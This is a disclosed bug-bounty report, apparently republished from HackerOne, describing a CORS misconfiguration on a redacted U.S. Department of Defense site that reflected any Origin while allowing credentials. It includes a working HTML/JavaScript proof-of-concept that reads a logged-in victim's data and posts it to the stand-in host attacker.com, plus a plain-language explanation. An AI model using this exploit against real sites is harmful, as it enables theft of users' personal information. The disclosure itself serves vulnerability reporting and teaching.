Skip to content
CORS Disclosed report Beginner

(CORS) Cross-origin resource sharing misconfiguration on https://█████████

The server reflected any Origin header in Access-Control-Allow-Origin and allowed credentials, so a malicious site could read authenticated users' data. An attacker could trick a logged-in victim into visiting their site and steal personal information.

fiveguyslover Follow

Originally disclosed on HackerOne

  • Triaged in 17 hours
  • Fixed in 16 months
  • Disclosed after 16 months

Step-by-step Reproduction :

Send this request:

GET /██████████ HTTP/1.1
Host: █████
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
█████████
Origin: http://attacker.com

Receive :

HTTP/1.1 200 OK
Cache-Control: max-age=0,must-revalidate
Expires: Wed, 31 Dec 1969 16:00:00 PST
Vary: Origin
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin: http://attacker.com Access-Control-Allow-Credentials: true

cURL with response header

██████

So you can write exploit:

<!DOCTYPE html>
<html>
<body>
<center>
<h2>exploit</h2>
<html>
<body>
<button type='button' onclick='cors()'>Exploit</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText;
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://attacker.com", true);
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://█████/██████", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

POC VIDEO

██████████

Impact

Attacker would treat many victims to visit attacker’s website, if victim is logged in, then his personal information is recorded in attacker’s server.

The original report as published on HackerOne, by fiveguyslover. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could steal logged-in victims' personal information by luring them to a malicious site, though the report does not specify exactly which data is exposed.

What the attacker needed

Victim is logged in; victim visits attacker's website

How it was found

  1. Send a request to the target endpoint with an Origin header set to an attacker-controlled domain.
  2. Observe that the response reflects that origin in Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials to true.
  3. Host a page that makes a credentialed cross-origin request to the endpoint and sends the response to the attacker's server.
  4. Trick a logged-in victim into visiting the page so their data is exfiltrated.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Websites use a rule called CORS to decide which other sites can read their data. Here the site trusted any website that asked, and also allowed the browser to send the user's login cookies. So a bad website could pretend to be the user and read their private information.

What is CORS?

A permissive cross-origin policy lets another site read responses with the user's credentials.

More by fiveguyslover

View all

9 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

CORS misconfiguration

The lesson behind this report.

A permissive cross-origin policy lets another site read responses with the user's credentials.